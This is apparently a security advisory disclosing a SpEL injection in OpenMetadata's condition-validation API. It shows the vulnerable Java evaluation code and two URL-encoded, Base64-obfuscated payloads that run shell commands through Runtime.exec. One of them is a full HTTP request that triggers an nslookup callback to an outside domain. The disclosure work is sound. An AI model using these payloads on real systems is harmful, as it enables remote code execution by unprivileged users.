OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`)

  @GET
  @Path("/validation/condition/{expression}")
  @Operation(
      operationId = "validateCondition",
      summary = "Validate a given condition",
      description = "Validate a given condition expression used in authoring rules.",
      responses = {
        @ApiResponse(responseCode = "204", description = "No value is returned"),
        @ApiResponse(responseCode = "400", description = "Invalid expression")
      })
  public void validateCondition(
      @Context UriInfo uriInfo,
      @Context SecurityContext securityContext,
      @Parameter(description = "Expression of validating rule", schema = @Schema(type = "string"))
          @PathParam("expression")
          String expression) {
    CompiledRule.validateExpression(expression, Boolean.class);
  }

  public static <T> void validateExpression(String condition, Class<T> clz) {
    if (condition == null) {
      return;
    }
    Expression expression = parseExpression(condition);
    RuleEvaluator ruleEvaluator = new RuleEvaluator();
    StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
    try {
      expression.getValue(evaluationContext, clz);
    } catch (Exception exception) {
      // Remove unnecessary class details in the exception message
      String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
      throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
    }
  }

%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29

GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2
Host: sandbox.open-metadata.org
Authorization: Bearer <non-admin JWT>